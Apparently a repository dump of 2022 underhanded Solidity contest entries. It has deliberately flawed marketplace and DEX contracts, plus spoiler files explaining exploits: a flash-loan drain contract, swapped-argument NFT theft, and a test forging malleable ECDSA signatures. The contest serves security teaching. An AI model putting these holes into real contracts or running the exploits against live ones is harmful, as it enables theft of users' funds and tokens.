@param _ethWanted The amount of ETH the seller wants to receive for the egg.
*/
function addSellOrder(uint256 _eggIDX, uint256 _ethWanted) external {
// check whether the msg.sender can sell the _eggIDX
require(
canRedeemEGG[_eggIDX] == msg.sender,
"err: msg.sender != owner(egg[_eggIDX])"
);
// create the new sellOrder
sell_Order memory newOrder;
newOrder.egg_idx_offered = _eggIDX;
newOrder.amount_eth_wanted = _ethWanted;
newOrder.egg_provider = msg.sender;
sellOrders.push(newOrder);
}
/**
@dev Function to effectively remove a sellOrder from the EggMarket.
@param _eggIDX The index of the ERC721 egg.
*/
function removeSellOrder(uint256 _eggIDX) external {
// iterate through all sellOrders
for(uint256 i = 0; i < sellOrders.length; i++) {
// check if the sellOrder is for the _eggIDX
if (sellOrders[i].egg_idx_offered == _eggIDX) {
// check if the msg.sender is the owner of the egg
require(
sellOrders[i].egg_provider == msg.sender,
"err: msg.sender != egg_provider"
);
// delete the sellOrder
sellOrders[i] = sellOrders[sellOrders.length - 1];
sellOrders.pop();
break;
}
}
}
/**
@dev Inherited from IERC721Receiver.
*/
function onERC721Received(
address,
address _from,
uint256 _tokenId,
bytes calldata
) external override returns (bytes4) {
// we have received an Egg from its owner; mark that in the redeem mapping
canRedeemEGG[_tokenId] = _from;
return this.onERC721Received.selector;
}
}
================================================
FILE: 2022/submissions_2022/submission16_VladToie/README.md
================================================
# The Egg Market.
The EggMarket is a simple decentralized exchange. Its role is to provide means of exchanging Eggs for ETH, just as a normal market would.
The Eggs are simple ERC721 tokens; everyone loves fresh eggs.
> Disclaimer: Note that in `Egg.sol` the `mint()` function is `external` and has no access control. This is intended behavior for debugging purposes. You should assume that in real life scenario, it would be a "safe" ERC721 token with adequate Access Control, so that users would not be allowed to mint infinitely and for free.
The following mechanism is used to exchange an Egg for the wanted ETH:
- Seller sends the `Egg`(ERC721 token) to the `EggMarket` contract.
- `EggMarket` receives the `Egg` and marks down that its `owner` has sent it via `onERC721Received`; this is to make sure that the `Egg` is locked in the contract. Of course, should its owner want to recall their egg from the market, they can do so via `redeemEggs` function.
- Owner of `Egg` at `_idx` can propose a `sellOrder` on its `_idx`, for the amount of `_wantedEth`. This is done via `addSellOrder()`
- Buyer selects and buys an order based on the `Egg's _idx`. This is done via `executeOrder()`.
- The ownership of the `Egg` is transferred to the buyer, at contract level.
- From contract level ownership(via `canRedeemEGG`) the buyer can retrieve their new and fresh `egg`.
The following functions are implemented, documented accordingly:
1. `executeOrder()` = Allows a buyer to buy an egg from the EggMarket via exhausting its subsequent sell order.
2. `redeemEggs()` = Function to retrieve an EGG from the market.
3. `addSellOrder()` = Function to effectively add a sellOrder for your egg on the EggMarket.
4. `removeSellOrder()` = Function to effectively remove a sellOrder from the EggMarket.
================================================
FILE: 2022/submissions_2022/submission16_VladToie/spoilers.md
================================================
# The Rotten Egg Market.
> The Eggs are simple ERC721 tokens; everyone loves fresh eggs. Nobody loves Rotten Eggs though...
The intended vulnerability here is the fact that there is no check on whether the received ERC721 token is an `Egg`; it can be a malicious `"Rotten"` egg, for that matter, let me explain how:
- An attacker deploys a `RottenEgg` contract, identical structure(an ERC721 token) as the `Egg`.
- Having unlimited access to the `minting` of the `RottenEggs` the attacker can virtually obtain any `tokenIdx`.
- Note that the `onERC721Received` does not check what type of token is received. It just marks its `tokenIdx` owner as the `owner` of the transfer at hand.
- In the scenario where a legitimate `Egg` seller has provided a legitimate `Egg`, the attacker can overwrite the `Egg` ownership via transferring a `RottenEgg`, hence stealing any `Egg` that are locked in the contract.
> Bonus : if the user transfers their `Egg` via ERC721's `transferFrom` the `onERC721Received` does not trigger, essentially locking the `Egg` in the `EggMarket`, since it would not be mapped to its sender; in this scenario anyone can trigger the aformentioned exploit and steal this locked `Egg`. More on why `safeTransferFrom()` is needed to trigger the [`onERC721Received` read this post](https://forum.openzeppelin.com/t/erc721holder-ierc721receiver-and-onerc721received/11828).
================================================
FILE: 2022/submissions_2022/submission17_MichaelZhu/BrokenSea.sol
================================================
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8;
import "solmate/tokens/ERC20.sol";
import "solmate/tokens/ERC721.sol";
import "solmate/utils/SafeTransferLib.sol";
contract BrokenSea {
using SafeTransferLib for ERC20;
// Bidder => asset pair key => NFT token ID => bid
mapping(address => mapping(uint160 => mapping(uint256 => uint256))) bids;
/// @dev Creates an bid for the given NFT. Can also be used to
/// update the price of an existing bid, or cancel a bid by
/// providing price = 0.
/// @param erc721Token The ERC721 token contract.
/// @param erc721TokenId The ID of the ERC721 asset to sell.
/// @param erc20Token The ERC20 token contract.
/// @param price The bid price, denominated in the given ERC20 token.
function createBid(
ERC721 erc721Token,
uint256 erc721TokenId,
ERC20 erc20Token,
uint256 price
)
external
{
uint160 key = _getKey(erc20Token, erc721Token);
bids[msg.sender][key][erc721TokenId] = price;
}
/// @dev Accepts a bid on the caller's NFT. Transfers the
/// ERC721 asset to the bidder, and transfers ERC20 tokens
/// from the bidder to the caller.
/// @param bidder The address that created the bid.
/// @param erc721Token The ERC721 token contract.
/// @param erc721TokenId The ID of the ERC721 asset to sell.
/// @param erc20Token The ERC20 token contract.
/// @param price The price the caller is willing to accept.
/// Reverts if the bid price is less than this amount.
function acceptBid(
address bidder,
ERC721 erc721Token,
uint erc721TokenId,
ERC20 erc20Token,
uint256 price
)
external
{
uint160 key = _getKey(erc20Token, erc721Token);
uint256 bidPrice = bids[bidder][key][erc721TokenId];
// If the bid price is 0, either the bid hasn't been
// created yet or it has been cancelled.
require(bidPrice != 0, "BrokenSea::fillBid/BID_PRICE_ZERO");
// Check that the bid price is at least the taker's price.
// This prevents the bidder from front-running the fill and
// lowering the price.
require(bidPrice >= price, "BrokenSea::fillBid/BID_TOO_LOW");
// Mark bid as filled before performing transfers.
delete bids[bidder][key][erc721TokenId];
// solmate's SafeTransferLib uses a low-level call, so we
// need to manually check that the contract exists.
uint256 size;
assembly { size := extcodesize(erc20Token) }
require(size > 0, "BrokenSea::fillBid/NO_CODE");
erc20Token.safeTransferFrom(
bidder,
msg.sender,
price
);
// Since this is _not_ a low-level call, the Solidity
// compiler will insert an `extcodesize` check like the one
// above; no need to do it ourselves here.
// Reverts if the caller does not own the NFT.
erc721Token.transferFrom(
msg.sender,
bidder,
erc721TokenId
);
}
// The `bids` storage mapping could be keyed by erc20Token and
// erc721Token individually, i.e.
// bids[bidder][erc20Token][erc721Token][erc721TokenId]
// but that would require computing 4 keccak256 hashes per read/write.
// As a minor gas optimization, the `bids` storage mapping is instead
// keyed by the XOR of the two token addresses, i.e.
// bids[bidder][erc20Token ^ erc721Token][erc721TokenId]
// It is statistically impossible to farm contract addresses that would
// create a key collision.
function _getKey(
ERC20 erc20Token,
ERC721 erc721Token
)
private
pure
returns (uint160 key)
{
return uint160(address(erc20Token)) ^ uint160(address(erc721Token));
}
}
================================================
FILE: 2022/submissions_2022/submission17_MichaelZhu/README.md
================================================
# BrokenSea
⛽🏌️This is a gas-golfed version of Zora v3's [Offers](https://github.com/ourzora/v3/blob/main/contracts/modules/Offers/V1/OffersV1.sol) module!
🤩 A bidder can call `createBid` to bid on the NFT of their dreams.
💰 The NFT owner can call `acceptBid` to accept one of these on-chain bids.
🤝 Assets exchange hands.
😤 What could possibly go wrong?
================================================
FILE: 2022/submissions_2022/submission17_MichaelZhu/SPOILER.md
================================================
Suppose Alice has been using the BrokenSea contract a couple of times already to buy and sell CryptoCoven witches.
She has called `setApprovalForAll` on the BrokenSea contract.
Now she creates a bid for the witch #420, bidding a price of 1 WETH.
Eve comes along, and though she does not own witch #420, she has her eyes on one of Alice's witches, #666.
Eve calls `acceptBid`, but flips the ERC20 and ERC721 token addresses, like so:
```
acceptBid(
Alice, // bidder
WETH, // Supposed to be the ERC721 token
420, // Supposed to be the ERC721 token ID.
WITCH, // Supposed to be the ERC20 token
666 // Supposed to be the price
)
```
Since XOR is commutative, `_getKey` returns the key to Alice's real bid.
The ERC20 and ERC721 token standards both specify a `transferFrom` function:
- For ERC20, it's `transferFrom(address _from, address _to, uint256 _value) returns (bool success)`
- For ERC721, it's `transferFrom(address _from, address _to, uint256 _tokenId)`
These two functions have the **same selector**: `keccak256("transferFrom(address,address,uint256)")[0:4] = 0x23b872dd`
So on lines 70-74:
```
erc20Token.safeTransferFrom(
bidder,
msg.sender,
price
);
```
The solmate SafeTransferLib calls `transferFrom` under the hood, but in the exploit this actually transfers WITCH #666 from Alice to Eve.
And on lines 80-84:
```
erc721Token.transferFrom(
msg.sender,
bidder,
erc721TokenId
);
```
This actually transfers 420 wei of WETH from Eve to Alice. What a steal!
================================================
FILE: 2022/submissions_2022/submission18_DavidNunez/README.md
================================================
# CheapMarketplace
A very simple NFT marketplace, that's intended to be "cheap" for users
as both listings and offers are implemented as off-chain signatures,
which can be presented to the marketplace by anyone that pays for the transaction.
There is also the possibility for sellers or buyers to cancel an existing order,
in case they wan't to invalidate a previously signed order; to do so they have to
make an on-chain transaction so the contract can mark the order as void. So far so good.
It seems however that the authors didn't expect their marketplace to be _that cheap_.
# Submission
The submission is a [Brownie](https://github.com/eth-brownie/brownie) project
that includes the marketplace contract (see `contracts/CheapMarketplace.sol`),
as well as a test file that showcases the exploit (see `tests/test_marketplace.py`).
Note that for simplicity the implementation of the marketplace is extremely reduced,
aiming for the shortest code possible (roughly ~120 LOC), which implies some obvious areas of improvement:
* The marketplace only allows to trade assets from a single NFT contract, decided at deployment time
* Orders don't have expiration time
* Matching price is not optimized
These issues, however, are not related to the underhanded functionality.
================================================
FILE: 2022/submissions_2022/submission18_DavidNunez/brownie-config.yaml
================================================
dependencies:
- OpenZeppelin/openzeppelin-contracts@4.5.0
compiler:
solc:
remappings:
- "@openzeppelin=OpenZeppelin/openzeppelin-contracts@4.5.0"
================================================
FILE: 2022/submissions_2022/submission18_DavidNunez/contracts/CheapMarketplace.sol
================================================
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract CheapMarketplace {
struct SignedOrder {
bool isBuy;
address maker;
uint256 tokenID;
uint256 price;
uint8 v;
bytes32 r;
bytes32 s;
}
ERC20 public immutable paymentToken;
ERC721 public immutable nft;
mapping(bytes32 => bool) public voidOrders;
constructor(ERC20 _paymentToken, ERC721 _nft){
paymentToken = _paymentToken;
nft = _nft;
}
function _getOrderID(SignedOrder memory order) internal pure returns (bytes32){
return keccak256(abi.encode(
order.isBuy, order.maker, order.tokenID, order.price, order.v, order.r, order.s
));
}
function _validateOrder(bytes32 hash, SignedOrder memory order) internal view returns (bool) {
/* Order must have not been canceled or already filled. */
bytes32 orderID = _getOrderID(order);
if (voidOrders[orderID]) {
return false;
}
return ecrecover(hash, order.v, order.r, order.s) == order.maker;
}
function orderMessage(
bool isBuy,
address maker,
uint256 tokenID,
uint256 price
) public pure returns(bytes32) {
return keccak256(abi.encode(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encode(isBuy, maker, tokenID, price))
));
}
function _requireValidOrder(SignedOrder memory order) internal view {
bytes32 hash = orderMessage(order.isBuy, order.maker, order.tokenID, order.price);
require(_validateOrder(hash, order));
}
function _cancelOrder(SignedOrder memory order) internal {
/* Check order is valid */
_requireValidOrder(order);
/* Assert sender is authorized to cancel order. */
require(msg.sender == order.maker);
/* Mark order as cancelled, preventing it from being matched. */
voidOrders[_getOrderID(order)] = true;
}
function cancelOrder(
bool isBuy,
address maker,
uint256 tokenID,
uint256 price,
bytes32[3] calldata vrs
) external {
uint8 v = uint8(uint256(vrs[0]));
SignedOrder memory order = SignedOrder(isBuy, maker, tokenID, price, v, vrs[1], vrs[2]);
_cancelOrder(order);
}
function _atomicMatch(SignedOrder memory buyOrder, SignedOrder memory sellOrder) internal {
/* Check orders are valid */
_requireValidOrder(buyOrder);
_requireValidOrder(sellOrder);
require(
buyOrder.isBuy && !sellOrder.isBuy
&& buyOrder.price >= sellOrder.price
);
/* Mark orders as void, preventing them from being matched. */
voidOrders[_getOrderID(buyOrder)] = true;
voidOrders[_getOrderID(sellOrder)] = true;
/* Exchange assets */
nft.transferFrom(sellOrder.maker, buyOrder.maker, buyOrder.tokenID);
paymentToken.transferFrom(buyOrder.maker, sellOrder.maker, buyOrder.price);
}
function atomicMatch(
uint256 tokenID,
address buyMaker,
uint256 buyPrice,
bytes32[3] calldata vrsBuy,
address sellMaker,
uint256 sellPrice,
bytes32[3] calldata vrsSell
) external {
uint8 vBuy = uint8(uint256(vrsBuy[0]));
uint8 vSell = uint8(uint256(vrsSell[0]));
SignedOrder memory buyOrder = SignedOrder(
true, buyMaker, tokenID, buyPrice, vBuy, vrsBuy[1], vrsBuy[2]
);
SignedOrder memory sellOrder = SignedOrder(
false, sellMaker, tokenID, sellPrice, vSell, vrsSell[1], vrsSell[2]
);
_atomicMatch(buyOrder, sellOrder);
}
}
================================================
FILE: 2022/submissions_2022/submission18_DavidNunez/contracts/NFT.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract NFT is ERC721 {
constructor() ERC721("NFT", "NFT") {
_mint(msg.sender, 1);
_mint(msg.sender, 2);
_mint(msg.sender, 3);
}
}
================================================
FILE: 2022/submissions_2022/submission18_DavidNunez/contracts/PaymentToken.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract PaymentToken is ERC20 {
constructor(uint256 initialSupply) ERC20("Payment", "PAY") {
_mint(msg.sender, initialSupply);
}
}
================================================
FILE: 2022/submissions_2022/submission18_DavidNunez/spoiler.md
================================================
# The Flaw
**TL;DR: The contract includes a [Signature Replay vulnerability](https://swcregistry.io/docs/SWC-121) that allows to bypass cancelled orders**
The flaw is actually a combination of ECDSA malleability with a wrong design choice,
in which authors decided that order IDs in the marketplace are computed as hashes
that include the signature. This means that a cancelled order can be bypassed
by providing a new order computed from the previously cancelled signature (using the
ECDSA malleability property), and that, consequently, will produce a different order ID.
Note that although the facts that ECDSA is malleable and the `ecrecover` precompile doesn't seem to care
are well-known, it's still common to find implementations in the wild that don't check for this (even if there are great libraries that do the job, like [OpenZeppelin's ECDSA contract](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol)).
As an example, [OpenSea's Wyvern v1](https://etherscan.io/address/0x7be8076f4ea4a4ad08075c2508e481d6c946d12b#code), which was the logic running the OpenSea marketplace until roughly a month ago, didn't check for malleable signatures (see L682 in [their code](https://etherscan.io/address/0x7be8076f4ea4a4ad08075c2508e481d6c946d12b#code)).
OpenSea was exploited using signatures very recently, which probably motivated the recent upgrade to OpenSea's Wyvern v2.3,
where the fix for malleable signatures is at last included. Nevertheless, it's a bit worrying that this problem was present just one month ago (although it doesn't seem it was exploitable).
This submission shows that a seemingly innocent design choice (i.e. using the signature as part of the ID for something), together with a naive use of a native EVM primitive like the `ecrecover` precompile, can have disastrous consequences for users of the contract.
# References
- Missing Protection against Signature Replay Attacks - https://swcregistry.io/docs/SWC-121
- OpenSea's Wyvern v1 - https://etherscan.io/address/0x7be8076f4ea4a4ad08075c2508e481d6c946d12b#code
- OpenZeppelin's ECDSA contract - https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol
================================================
FILE: 2022/submissions_2022/submission18_DavidNunez/tests/test_marketplace.py
================================================
#!/usr/bin/python3
import brownie
import pytest
import os
from brownie.network.account import defunct_hash_message, eth_keys, sign_message_hash, HexBytes
@pytest.fixture(scope="function", autouse=True)
def isolate(fn_isolation):
# perform a chain rewind after completing each test, to ensure proper isolation
# https://eth-brownie.readthedocs.io/en/v1.10.3/tests-pytest-intro.html#isolation-fixtures
pass
@pytest.fixture(scope="module")
def deployer(accounts):
return accounts[0]
@pytest.fixture(scope="module")
def buyer(accounts):
return accounts.add('120104ed2807b15b1c0f514234d08fd9d6c9f073d242240ee31ada96cd5f0277')
@pytest.fixture(scope="module")
def seller(accounts):
return accounts.add('8fa2fdfb89003176a16b707fc860d0881da0d1d8248af210df12d37860996fb2')
def privkey(x):
return eth_keys.keys.PrivateKey(HexBytes(x.private_key))
@pytest.fixture(scope="module")
def token(PaymentToken, deployer, buyer):
t = PaymentToken.deploy(1000, {'from': deployer})
t.transfer(buyer, 100, {'from': deployer})
return t
@pytest.fixture(scope="module")
def nft(NFT, deployer, seller):
t = NFT.deploy({'from': deployer})
t.transferFrom(deployer, seller, 1, {'from': deployer})
t.transferFrom(deployer, seller, 2, {'from': deployer})
return t
@pytest.fixture(scope="module")
def market(CheapMarketplace, token, nft, deployer, seller):
return CheapMarketplace.deploy(token.address, nft.address, {'from': deployer})
def test_setup(market, nft, token, deployer, buyer, seller):
assert token.balanceOf(buyer) == 100
assert nft.ownerOf(1) == seller
assert nft.ownerOf(2) == seller
assert nft.ownerOf(3) == deployer
def test_cancel(market, seller):
msg = market.orderMessage(False, seller, 1, 42)
(v, r, s, _) = sign_message_hash(privkey(seller), msg)
market.cancelOrder(False, seller, 1, 42, [v, r, s], {'from': seller})
def test_atomic_match(market, seller, buyer, deployer, nft, token):
nft.approve(market, 1, {'from': seller})
token.approve(market, 1000, {'from': buyer})
msg_sell = market.orderMessage(False, seller, 1, 42)
msg_buy = market.orderMessage(True, buyer, 1, 42)
(v, r, s, _) = sign_message_hash(privkey(buyer), msg_buy)
vrsBuy = [v, r, s]
(v, r, s, _) = sign_message_hash(privkey(seller), msg_sell)
vrsSell = [v, r, s]
assert nft.ownerOf(1) == seller
market.atomicMatch(1, buyer, 42, vrsBuy, seller, 42, vrsSell, {'from': deployer})
assert nft.ownerOf(1) == buyer
def test_match_after_cancel_must_fail(market, seller, buyer, deployer, nft, token):
nft.approve(market, 1, {'from': seller})
token.approve(market, 1000, {'from': buyer})
msg_sell = market.orderMessage(False, seller, 1, 42)
msg_buy = market.orderMessage(True, buyer, 1, 42)
(v, r, s, _) = sign_message_hash(privkey(buyer), msg_buy)
vrsBuy = [v, r, s]
(v, r, s, _) = sign_message_hash(privkey(seller), msg_sell)
vrsSell = [v, r, s]
market.cancelOrder(False, seller, 1, 42, [v, r, s], {'from': seller})
assert nft.ownerOf(1) == seller
with brownie.reverts():
market.atomicMatch(1, buyer, 42, vrsBuy, seller, 42, vrsSell, {'from': deployer})
assert nft.ownerOf(1) == seller
def test_atomic_match_exploit(market, seller, buyer, deployer, nft, token):
nft.approve(market, 1, {'from': seller})
token.approve(market, 1000, {'from': buyer})
msg_sell = market.orderMessage(False, seller, 1, 42)
msg_buy = market.orderMessage(True, buyer, 1, 42)
(v, r, s, _) = sign_message_hash(privkey(buyer), msg_buy)
vrsBuy = [v, r, s]
(v, r, s, _) = sign_message_hash(privkey(seller), msg_sell)
market.cancelOrder(False, seller, 1, 42, [v, r, s], {'from': seller})
# Let's fabricate a different signature from the seller based on the original
n = 115792089237316195423570985008687907852837564279074904382605163141518161494337
s_prime = n - s
v_prime = 27 + 28 - v
vrsSell = [v_prime, r, s_prime]
assert nft.ownerOf(1) == seller
market.atomicMatch(1, buyer, 42, vrsBuy, seller, 42, vrsSell, {'from': deployer})
assert nft.ownerOf(1) == buyer
================================================
FILE: 2022/submissions_2022/submission1_RikhardHjort/README.md
================================================
A standard and very simple DEX.
It allows providing LP and removing LP, swapping, and flash loaning.
The owner can pause the contract, which stops swaps and providing LP, but of course it will still allow withdrawals.
The DEX doesn't calculate a good swap price for you, it just accepts whatever amounts you give it and then checks that you supplied *at least* enough input tokens.
No slippage protections here -- we trust our diligent users.
Adding and removing LP is always done by specifying a number of shares to mint or burn, and the correct token amounts based on current price are simply pulled from the sender (careful with how much you approve).
Only to set the initial balance when the pool is empty may you specify a proportion.
The heuristic for assigning first shares is the same as in Uniswap 1: just use the amount of one of the pairs as initial value.
The supported tokens are straightforward ones, without hooks and with transfer* functions that either revert or return false on error.
It's a bare-bones, easy to understand, fairly gas cheap AMM.
What could go wrong?
================================================
FILE: 2022/submissions_2022/submission1_RikhardHjort/rugpull.txt
================================================
The owner can drain all the funds through a flash loan and manipulating the fact that `unpause` calls sync!
All they need to do is:
1. give the owner some tokens to pay for the flash loan fee.
2. set the owner to a contract that has the following body:
```
function attack() external {
dex.flashLoan(IERC3156FlashBorrower(address(this)), dex.token1(), dex.token1().balanceOf(address(dex)), "");
dex.swap(dex.token2(), 0, dex.token1(), dex.token1().balanceOf(address(dex)));
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns(bytes32) {
dex.unpause(); // Sets k to 0
dex.swap(dex.token1(), 0, dex.token2(), dex.token2().balanceOf(address(dex)));
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
```
Extra sneaky points if the owner is an upgradable contract, or a still
undeployed contract, so that it's not obvious what it can do.
3. trigger the `attack` function.
After the flash loan concludes in the first line of `attack`, the `k` in the DEX is 0, and the balance of `token2` has been completely drained.
The full balance of `token1` remains, plus the fee, but the attacker can simply call another swap, again depositing no tokens, and take the remaining balance.
================================================
FILE: 2022/submissions_2022/submission1_RikhardHjort/src/DEX.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
contract DEX {
address public owner;
bool public paused;
IERC20 public token1;
IERC20 public token2;
uint256 private k;
uint256 public totalShares;
mapping (address => uint256) public shares;
constructor(IERC20 _token1, IERC20 _token2, address _owner) {
token1 = _token1;
token2 = _token2;
owner = _owner;
}
function init(uint256 amount1, uint256 amount2) external {
require(token1.balanceOf(address(this)) == 0 && token2.balanceOf(address(this)) == 0);
require(token1.transferFrom(msg.sender, address(this), amount1));
require(token2.transferFrom(msg.sender, address(this), amount2));
totalShares = shares[msg.sender] = amount1;
_sync();
}
modifier notPaused() {
require(!paused);
_;
}
function pause() external {
require(msg.sender == owner);
paused = true;
}
function unpause() external {
require(msg.sender == owner);
paused = false;
_sync();
}
function swap(IERC20 tokenIn, uint256 amountIn, IERC20 tokenOut, uint256 amountOut) external notPaused() {
require((tokenIn == token1 && tokenOut == token2) || (tokenIn == token2 && tokenOut == token1));
require(tokenIn.transferFrom(msg.sender, address(this), amountIn));
require(tokenOut.transfer(msg.sender, amountOut));
uint256 x = tokenIn .balanceOf(address(this));
uint256 y = tokenOut.balanceOf(address(this));
require(1000 * x * y - amountIn * y * 5 >= 1000 * k, "bad swap"); // charge fee, (x - 0.005 * amountIn) * y >= k
_sync();
}
function addLiquidity(uint256 sharesToMint) external notPaused() {
// amount / balanceOf == sharesToMint / totalShares
uint256 amount1 = token1.balanceOf(address(this)) * sharesToMint / totalShares;
uint256 amount2 = token2.balanceOf(address(this)) * sharesToMint / totalShares;
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
require(token1.transferFrom(msg.sender, address(this), amount1));
require(token2.transferFrom(msg.sender, address(this), amount2));
_sync();
}
function removeLiquidity(uint256 sharesToBurn) external {
uint256 amount1 = token1.balanceOf(address(this)) * sharesToBurn / totalShares;
uint256 amount2 = token2.balanceOf(address(this)) * sharesToBurn / totalShares;
shares[msg.sender] -= sharesToBurn;
totalShares -= sharesToBurn;
require(token1.transfer(msg.sender, amount1));
require(token2.transfer(msg.sender, amount2));
_sync();
}
function flashLoan(IERC3156FlashBorrower receiver, IERC20 token, uint256 amount, bytes calldata data) external notPaused() returns (bool) {
require(token == token1 || token == token2);
uint256 fee = amount * 5 / 1000; // 0.5 %
require(token.transfer(address(receiver), amount));
require(receiver.onFlashLoan(msg.sender, address(token), amount, fee, data) == keccak256("ERC3156FlashBorrower.onFlashLoan"));
require(IERC20(token).transferFrom(address(receiver), address(this), amount + fee));
_sync();
return true;
}
function _sync() internal {
k = token1.balanceOf(address(this)) * token2.balanceOf(address(this));
}
}
interface IERC20 {
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function transfer(address _to, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
}
interface IERC3156FlashBorrower {
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32);
}
================================================
FILE: 2022/submissions_2022/submission2_Ashiq/README.md
================================================
## Swap121
Introducing Swap121 - a new type of DEX to swap one-to-one between similarly priced assets. The DEX offers feeless, 0 zero slippage trades up to the available liquidity in the contract. So far, we've tested swaps between `alETH<->wstETH` and can confirm that trades in either direction are working as intended. As for security, our auditors have recommended that we use the `safeTransferFrom` function to pull tokens from our users, but we've found that our in-house tests pass if we additionally try using the usual `transferFrom` function as well. We're confident that our testing has met our high standards, so we've now expanded the DEX to include swaps between WETH so users can additionally trade `alETH<->WETH<->wstETH` in any direction. The WETH contract is pretty straightforward compared to alETH and wstETH, so there shouldn't be any issues in expanding our DEX. In fact, we've already gone to prod!
Assumptions:
- For the purpose of simplicity, assume that the Swap121 contract is funded equally for each of the supported tokens, e.g. funded with 1000 WETH, 1000 alETH and 1000 wstETH.
- Any additional functionality belonging to alETH or wstETH (e.g. unwrapping wstETH to stETH) is not important for the sake of this submission.
- The actual prices of the assets in question are not relevant for this submission, so it's safe to assume the price of each accepted asset is the same.
================================================
FILE: 2022/submissions_2022/submission2_Ashiq/Swap121.sol
================================================
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address src, address dst, uint wad) external returns (bool);
function safeTransferFrom(address src, address dst, uint wad) external;
function transfer(address dst, uint wad) external returns (bool);
}
contract Swap121 {
mapping(address=>bool) public acceptedAsset;
constructor() public {
acceptedAsset[0x0100546F2cD4C9D97f798fFC9755E47865FF7Ee6] = true; //alETH
acceptedAsset[0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0] = true; //wstETH
acceptedAsset[0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2] = true; //WETH
}
function swap(address from, address to, uint256 amount) external {
require(from != to && acceptedAsset[from] && acceptedAsset[to]);
IERC20 fromToken = IERC20(from);
IERC20 toToken = IERC20(to);
try fromToken.safeTransferFrom(msg.sender, address(this), amount) {}
catch {require(fromToken.transferFrom(msg.sender, address(this), amount));}
toToken.transfer(msg.sender, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission2_Ashiq/spoiler.txt
================================================
## Spoiler
Introducing WETH trades with the current try-catch pattern first used for alETH<->wstETH trades introduces a vulnerability that allows an attacker to fully drain the DEX of all supported asset balances. The issue relies on the fact that the WETH contract does define a `safeTransferFrom` function, and has a non-reverting fallback function, i.e. WETH has a phantom `safeTransferFrom`. This antipattern was recently discovered by Dedaub who first found these 'phantom function' no-ops in the Multichain project (https://media.dedaub.com/phantom-functions-and-the-billion-dollar-no-op-c56f062ae49f).
Trades originating from alETH or wstETH work as intended since the try-statement `safeTransferFrom` call fails, and the catch-statement `transferFrom` call pulls the user's tokens if the allowance was made available. Any trade originating with WETH passes through the try-catch statement, since the try-statement `safeTransferFrom` call goes to the WETH fallback function and does not revert, so the functional `transferFrom` in the catch-statement does not get called. One example of how an attacker can drain the DEX balances is shown in the following 4 trades, assuming equal balances of all assets:
1) Swap all WETH -> wstETH to drain the wstETH balance
2) Swap all WETH -> alETH to drain the alETH balance
3) Swap all alETH -> WETH to swap for the WETH balance
4) Swap all WETH -> alETH to drain the alETH balance supplied in step (3)
Steps to mitigate this issue includes never building contract interfaces by hand or importing them without strict validation. In this case, `safeTransferFrom` should never have been in the contract interface since it's usually used from the SafeERC20 library to wrap `transferFrom` calls. Moreover, imported contract interfaces should be manually inspected to match the function names and parameters of the target contract. Lastly, and most importantly, additional validation on the state changes from external contract calls should be implemented. For example, checking if the contract received the correct number tokens after the `safeTransferFrom` call would have prevented this issue.
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/README.md
================================================
### Tests
This repo uses `forge` from Foundry.
There are a few tests written for this code, most of which are normal unit
tests, but also one that tests the rugpull.
If you do not want spoilers, **do not** open the test file.
The full spoiler is in SPOILER.md.
To run all tests run
```
$ forge test
```
### Basic Idea
The code here represents a Match Making (MM) contract that is NOT ready for
production.
The basic idea is to allow users to buy and sell from a pair of tokens T1 and
T2, by sending Sell and Buy orders at a specified price.
A sell order gives T1 and receives T2.
A buy order gives T2 and receives T1.
To simplify the contract, the price is specified as "the amount of T2 per 10^9
T1" to give some granularity without using FixedPoint libraries.
Therefore, the amount of tokens someone receives for a certain order is:
- Sell: (Quantity * Price) / 10^9
- Buy: (Quantity * 10^9) / Price
An order is only considered valid if the person would receive at least 1 of the
other token.
We keep two order arrays:
1) The Sell orders, sorted in decreasing order.
2) The Buy orders, sorted in increasing order.
A match will try to match the last element of each array, therefore the lowest
Sell and the highest Buy. For simplicity, only orders with the same price can
match.
An order may be partially filled. In this case, the desired quantity of that
order decreases by the received amount. If the updated order is invalid, it is
removed from the book.
### Known problems
Known problems and assumptions that are not part of the intended problem of
this submission:
- Since orders only match if they have the same price, even order pairs such as
(Sell at 10, Buy at 15) would not match. We assume that someone can easily
arbitrage this by buying at 10 from the first order and selling at 15 to the
second.
- Someone can DoS the contract by placing many orders of the minimum amount of
tokens that make an order valid. Conceptually this is not a problem if we
assume gas is free (for the sake of the exercise in this submission), since
those orders would partially match other orders and everything would still
work, only requiring more transactions.
- Some orders may take a long time to match. If an order never matches, a user
can simply cancel their order.
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/SPOILER.md
================================================
### RUGPULL
To run the rugpull test, run
```
$ forge test --match "hack"
```
In `MatchMaking.t.sol`, you will see in function `test_hack` that the hacker
starts with 1000 tokens and ends up with 2000.
The problem is in function `update`, line `Order storage temp = can[i - 1];`.
Since `temp` is only a reference, the old order that is swapped with the new
order to keep the book sorted is not really copied into its new location.
The result is that the new order overwrites every order that it needs to be
swapped with until its proper location is found, based on its price.
